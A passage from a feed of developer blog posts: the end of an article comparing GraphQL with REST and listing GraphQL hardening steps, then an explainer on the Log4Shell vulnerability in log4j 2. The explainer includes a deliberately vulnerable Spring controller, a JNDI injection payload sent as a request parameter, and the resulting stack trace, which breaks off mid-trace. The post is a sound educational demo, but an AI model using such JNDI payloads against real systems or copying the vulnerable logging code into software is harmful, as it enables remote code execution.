GraphQL can assist in managing the complex schemas. If your application is based on numerous schemas that use multiple nested models and associations, you should go with GraphQL. REST is very weak in this section if you are likely to come in contact with complex queries. Being a query language, GraphQL can access the nested objects easily with a single API request and return structured data correctly tagged along with JSON.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;As an example:&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;Assume I have two database tables: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;*&lt;em&gt;Employee  *&lt;/em&gt;- Having follwing columns - name, id (PK), email, mobile ,city , deptid(FK references deptid of Department table)&lt;/li&gt;
&lt;li&gt;*&lt;em&gt;Department *&lt;/em&gt;- Having follwing columns - deptname, deptid(PK)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now &lt;/p&gt;

&lt;p&gt;"&lt;em&gt;I want to fetch Employee name associated with HR department&lt;/em&gt;"&lt;/p&gt;

&lt;p&gt;If I use Rest then  I have to write Join query . But in case of GraphQL I can directly query the employee name like below with one single endpoint&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;query{
  searchDeptByName(deptName:"HR"){
    employee{
      employeeName****
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and I will get Response like below :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "data": {
    "searchDeptByName": {
      "employee": [
        {
          "employeeName": "Arya"
        },
        {
          "employeeName": "Tushar"
        },
        {
          "employeeName": "Rekha"
        },
        {
          "employeeName": "Roshan"
        }
      ]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This way GraphQL simplifies managing complex schema (Though above is not too complex but in real time we can have more complex schema)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WHEN YOU WANT TO TO HIDE BACKEND COMPLEXITIES&lt;/strong&gt;&lt;br&gt;
GraphQL has two prominent features that make it a perfect situation for microservice orchestration. &lt;br&gt;
• The first feature lets you abstract your RESTful API and create a unified and fully optimized public API for your microservices. The benefit of this feature is that you can handle future versions of your API smoothly. &lt;br&gt;
• The second feature deals with the situation when you are creating a single GraphQL schema by stitching schemas together from multiple underlying GraphQL APIs. &lt;br&gt;
These both features help in hiding code complexities from the clients.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BETTER DEVELOPING EXPERIENCE&lt;/strong&gt;&lt;br&gt;
The best scenario to use GraphQL is when you want to provide a better experience to your developers. With the descriptive language to handle complex queries, the capability to simplify the loading of state management and facility to manipulate types instead of tweaking with JSON data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WHEN YOUR APPLICATION RECEIVE DATA FROM MULTIPLE RESOURCES&lt;/strong&gt;&lt;br&gt;
GraphQL exposes a single endpoint that allows you to access multiple resources. Also, resources are not exposed according to the views that you have inside your app. So if your UI changes — i.e., requires either more or less data — it doesn’t have an impact or require changes on the server.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6y3xo81e5lg16n3hghut.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6y3xo81e5lg16n3hghut.png" alt="Image description" width="800" height="388"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Now you should drop your idea to use GraphQL in the following situations.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WHEN YOU ALREADY HAVE REST&lt;/strong&gt;&lt;br&gt;
GraphQL is an effective alternative to REST, so if you are acquainted with REST, why to settle for replacement? The primary feature of GraphQL is to send a query specified with the exact information that you need. But, this can be easily achieved using REST – from passing the name of the field to utilizing it in the URL. On top, there are a lot of JSON libraries available that can help you in implementing and supporting this specification.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WHEN YOU WANT TO USE WEB CACHE&lt;/strong&gt;&lt;br&gt;
Implementing a web cache at the database level or the client level with in-memory cache implementation can be an easy task. A cache implementation at the HTTP level with a reverse proxy server that stores the content of a request – can reduce the amount of traffic that reaches a server. Since a REST offers numerous endpoints, which facilitates to configure web-cache to a URL easily.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WHEN PERFORMANCE IS YOUR PRIORITY&lt;/strong&gt;&lt;br&gt;
GraphQL gives the power to execute queries to get the exact results. But, if a client sends a query for numerous fields and resources, you might face a performance issue. For complex queries, GraphQL must be designed very carefully, and you can’t just put it over the REST API or database. You have to define each endpoint and tune queries to retrieve specific data. All this designing and defining can affect the performance of the API.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;As an example :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;“&lt;em&gt;Give me the information about the users that posted a review for all the books of this author&lt;/em&gt;”&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;author(id: '1234') {
  id
  name
  books {
    id
    title
    reviews {
      text
      date
      user {
        id
        name
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can simply let your users run any query they want. A GraphQL API must be carefully designed; it’s not just about putting it on top of a REST API or a database.&lt;/p&gt;

&lt;p&gt;For complex queries, a REST API might be easier to design because you can establish multiple endpoints for specific needs, and for each, you can fine-tune specific queries to retrieve the data in an efficient way.&lt;/p&gt;

&lt;p&gt;This might be a bit controversial because multiple network calls can also take a lot of time. But if you’re not careful, a few big queries can bring your server down. In that sense, GraphQL’s greatest strength can also be its greatest weakness.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;REST is better for error handling and tooling&lt;/strong&gt;&lt;br&gt;
Error handling in REST is easier when compared to GraphQL. RESTful APIs follow the HTTP spec with regards to resources &lt;br&gt;
and returns various HTTP statues for various API request states. GraphQL, on the other hand, returns the &lt;strong&gt;200 Ok&lt;/strong&gt; status for every API request, including for errors. This makes it difficult to manage errors and makes it hard to integrate with monitoring tools.&lt;/p&gt;

&lt;p&gt;Now coming back to security. &lt;br&gt;
&lt;strong&gt;Is GraphQL less secured than Rest?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No not at all!!&lt;/strong&gt;&lt;br&gt;
GraphQL is a very powerful query language that does a great many things right. When &lt;strong&gt;implemented properly&lt;/strong&gt;, GraphQL offers an extremely elegant methodology for data retrieval, more backend stability, and increased query efficiency.&lt;/p&gt;

&lt;p&gt;The key here though is that simple phrase — &lt;strong&gt;when implemented properly.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;There are many ways to secure GraphQL query:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Authentication&lt;/strong&gt;&lt;br&gt;
Authentication is determining whether a given user is logged in and subsequently remembering who they are. Authentication can provide context to a session and personalize the type of data that a user sees.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Authorization&lt;/strong&gt;&lt;br&gt;
Authorization is then determining what a given user has permission to do or see. In GraphQL, we’d use this to manage access to particular queries and mutations based on identity, role, or permissions.&lt;/p&gt;

&lt;p&gt;To implement authentication &amp;amp; authorization we can make use of Spring security with Oauth2/JWT . There are many other tools which can be used. If we deploy our application to Google Cloud we can make use of Apigee as an API gateway to perform authentication , authorization .&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Limit query depth&lt;/strong&gt;&lt;br&gt;
GraphQL gives clients the ability to ask for data in a variety of different ways. Because of the various entry-points ava&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ilable to request data, it’s possible to write exceptionally large nested queries like the following.

query{
  searchDeptByName(deptName:"HR"){
    employee{
      employeeName
      department{
        deptName
        employee{
          employeeName
          department{
            deptName
            employee{
              employeeName
              # and so on
            }
          }
        }
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Queries like this are dangerous because they’re expensive to compute. They could crash our API and take up all available resources.&lt;/p&gt;

&lt;p&gt;We can specify the max depth across your queries to mitigate this problem by added below propertiy in Spring application.properties&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;graphql.servlet.maxQueryDepth= 3&lt;/strong&gt;  # Here 3 is max Query depth&lt;/p&gt;

&lt;p&gt;Now If we execute the above query we will get error:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "errors": [
    {
      "message": "maximum query depth exceeded 7 &amp;gt; 3",
      "extensions": {
        "classification": "ExecutionAborted"
      }
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3. Paginate list fields where appropriate&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Query depth isn’t the only thing to worry about. We should also be conscious of how query amount could affect the performance of our API.&lt;/p&gt;

&lt;p&gt;In the following example, if there were 10 Department, each with 100 Employees, this query would attempt to return 100,000 nodes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;query{
  searchAllDepartments( {
      deptName
      employee{
        employeeName
        city
        country
        deptId
        dob
        email
        employeeId
      }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To solve this we can make use of Pagination . With Spring boot its very easy . Just we need to extend &lt;strong&gt;PagingAndSortingRepository&lt;/strong&gt; interface from our Repository and use the implement the methods&lt;br&gt;
in Service class  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Improve validation and sanitization&lt;/strong&gt;&lt;br&gt;
Validation and sanitization are standard web application security practices. When you accept data from a user, you should always validate and filter that user-provided data because it could be malicious.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Use timeouts&lt;/strong&gt;&lt;br&gt;
When we request data from downstream services or data sources, there are various reasons why it may take a long time to respond. The services may be down, queries may be expensive, or something else might be going on. Regardless of the reason, we don’t want our GraphQL API to hang for too long, waiting for a response.&lt;/p&gt;

&lt;p&gt;To prevent this, we need to use timeouts to keep from slow or unresponsive services impacting performance for subsequent &lt;br&gt;
queries.&lt;/p&gt;

&lt;p&gt;We can make use of below property to set timeout from Spring application.properties. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;spring.jpa.properties.javax.persistence.query.timeout=60000&lt;/strong&gt;   #The value is the timeout period in milliseconds&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Mask errors&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When server or downstream service errors occur, it’s a good idea to mask/hide the exact specifics of what went wrong from the client. Rather we should display custom exception message&lt;/p&gt;

&lt;p&gt;Informing the client about error details in the server exposes the current server vulnerabilities and opens the door for more concentrated attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is GraphQL application stable as Rest?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Apps using GraphQL are fast and stable because they control the data they get, not the server.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkfvf8rd56yzuizauz61p.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkfvf8rd56yzuizauz61p.PNG" alt="Image description" width="700" height="824"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;GraphQL is an excellent alternative for REST, but not in all situations. Thus, evaluate your application and features that you want to incorporate in it before using the GraphQL. When GraphQL is used in the right scenario, the results can be great!&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>graphql</category>
      <category>webdev</category>
      <category>java</category>
    </item>
    <item>
      <title>Log4j vulnerability</title>
      <dc:creator>Arpan Bandyopadhyay</dc:creator>
      <pubDate>Sun, 19 Dec 2021 19:49:35 +0000</pubDate>
      <link>https://dev.to/arpanforgeek/log4j-vulnerability-ji5</link>
      <guid>https://dev.to/arpanforgeek/log4j-vulnerability-ji5</guid>
      <description>&lt;p&gt;&lt;strong&gt;What is Log4j?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;log4j is a logging framework written in Java which is distributed under the Apache Software License.&lt;/p&gt;

&lt;p&gt;Log4j2 is an updated version of Log4j.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Description of the vulnerability:&lt;/strong&gt;&lt;br&gt;
Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0, this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.&lt;/p&gt;

&lt;p&gt;The usage of the nasty vulnerability in the Java logging library Apache Log4j that allowed unauthenticated remote code execution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is RCE?&lt;/strong&gt;&lt;br&gt;
It stands for Remote code execution. It allows hacker to run any code in your application by hacking your application which is using log4j. This vulnerability nicknamed as Log4Shell.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is Log4Shell vulnerability?&lt;/strong&gt;&lt;br&gt;
Log4Shell is a software vulnerability in Apache Log4j 2, a popular Java library for logging error messages in applications. The vulnerability, published as CVE-2021-44228, enables a remote attacker to take control of a device on the internet, if the device is running certain versions of Log4j 2.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;strong&gt;There are multiple things that have happened all together resulted in this vulnerability&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Log4j log expression:&lt;/strong&gt; 
Log4j allows you to log expression.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Here is the example :&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

private static final Logger logger = LogManager.getLogger(TestController.class);
logger.error("error message: {}",exception.getMessage());


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Here first we are getting Logger object then in 2nd line , exception message from exception.getMessage() will be plugged in to “error message” inside {}- curly braces .&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;JNDI:&lt;/strong&gt;
It stands for Java Naming Directory Interface. JNDI allows you to store your java objects in a remote location and streaming them to your JVM.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Here is one example:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is an sample  LDAP URL :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.tourl"&gt;ldap://192.168.3.2:8034/user=Arpan,city=bangalore,country=india&lt;/a&gt;&lt;br&gt;
I can invoke this URL I will get serialized profile of Arpan from active directory.&lt;/p&gt;

&lt;p&gt;This is not Log4j . This is Java feature.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;JNDI Look up in log message:&lt;/strong&gt;
In 2013 JNDI lookup was introduced in log4j.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The JNDI look up allows variables to be retrieved via JNDI.&lt;/p&gt;

&lt;p&gt;Good use case is centralized log configuration.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4fxsrz8u19ivw8inxsw2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4fxsrz8u19ivw8inxsw2.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here Log4j is going to look up the Value (Getting the prefix for logging message for my log message from JNDI by passing JNDI url as an argument) and inserted the value in the {}- curly braces .&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This is the vulnerability:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Lets say I have one search API which takes input from User and search it at server and returns response .&lt;/p&gt;

&lt;p&gt;&lt;a href="http://localhost:8080/search?data=" rel="noopener noreferrer"&gt;http://localhost:8080/search?data=&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we pass ${jndi:ldap://127.0.0.1:3089/} as a request parameter for data here , then log4j will make a JNDI call to it. This is a problem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here is a simple diagram which explains the vulnerability&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi7s1ekjyqef53n6ee9lh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi7s1ekjyqef53n6ee9lh.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lets assume Hacker sets up one malicious JNDI server and sends a request which contains JNDI url for which end point is a malicious java class present in malicious JNDI server . Now Log4j will look up the url and makes an JNDI request to the JNDI server and JNDI server returns back a serialized malicious object which contains malicious content which can destroy and exploit the application. This is how hackers can have ability to put malicious code in the application's JVM .&lt;/p&gt;

&lt;p&gt;This is what the vulnerability is. &lt;/p&gt;

&lt;p&gt;Here I have prepared one demo to show the vulnerability .&lt;br&gt;
To do this I have created one spring boot project , in which I have used log4j 2.14 dependency which is vulnerable and I have created one very simple API which returns String .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz51k69t6lyf7bea6enuh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz51k69t6lyf7bea6enuh.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

@RestController
public class TestController {
    private static final Logger logger = LogManager.getLogger(TestController.class);

    @GetMapping("/search")
    public String search(@RequestParam("data") String data) {
        logger.info("user input to search data : " + data);
        return data;
    }
}


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Now I will start my spring boot server and hit the server with data as "google". As a result it will return "google". Nothing issue in that.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhbpjy9sofvoyod8ucepb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhbpjy9sofvoyod8ucepb.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In server logs also quite clean. No issue.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

2021-12-20 00:58:36.307  INFO 17028 --- [nio-8080-exec-1] o.a.c.c.C.[.[.[/]                        : Initializing Spring DispatcherServlet 'dispatcherServlet'
2021-12-20 00:58:36.307  INFO 17028 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Initializing Servlet 'dispatcherServlet'
2021-12-20 00:58:36.309  INFO 17028 --- [nio-8080-exec-1] o.s.w.s.DispatcherServlet                : Completed initialization in 1 ms
2021-12-20 00:58:36.402  INFO 17028 --- [nio-8080-exec-1] c.l.v.l.c.TestController                 : user input to search data : google 


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Now I am going to send JNDI url in data as request param . &lt;br&gt;
Lets see what will happen &lt;br&gt;
(Before sending the JNDI url , I have encoded the url)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmm5pan9nujue3yjw1ltg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmm5pan9nujue3yjw1ltg.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From service response I have received whatever I have sent that's fine . But let's look in to the server log&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

2021-12-20 01:01:35,258 http-nio-8080-exec-3 WARN Error looking up JNDI resource [ldap://127.0.0.1:3089/]. javax.naming.CommunicationException: 127.0.0.1:3089 [Root exception is java.net.ConnectException: Connection refused: connect]
    at com.sun.jndi.ldap.Connection.&amp;lt;init&amp;gt;(Connection.java:238)
    at com.sun.jndi.ldap.LdapClient.&amp;lt;init&amp;gt;(LdapClient.java:137)
    at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1609)
    at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2749)
    at com.sun.jndi.ldap.LdapCtx.&amp;lt;init&amp;gt;(LdapCtx.java:319)
    at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
    at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
    at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202)
    at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
    at javax.naming.InitialContext.lookup(InitialContext.java:417)
    at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
    at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
    at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
    at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1110)
    at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1033)
    at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
    at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
    at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
    at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
    at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:344)
    at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
    at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
    at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
    at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
    at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
    at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
    at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
    at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
    at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
    at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
    at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:540)
    at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:498)
    at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:481)
    at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:456)
    at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82)
    at org.apache.logging.log4j.core.Logger.log(Logger.java:161)
    at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2205)
    at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2159)
    at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2142)
    at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2017)
    at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
    at org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1320)
    at com.log4j2.vulnerabilities.log4jdemo.controller.TestController.search(TestController.java:15)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205)
    at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150)
    at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)
    at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)
    at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)
    at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
    at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1067)
    at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:963)
    at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)
    at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898)
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:634)
    at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)
    at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
    at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
    at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
    at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
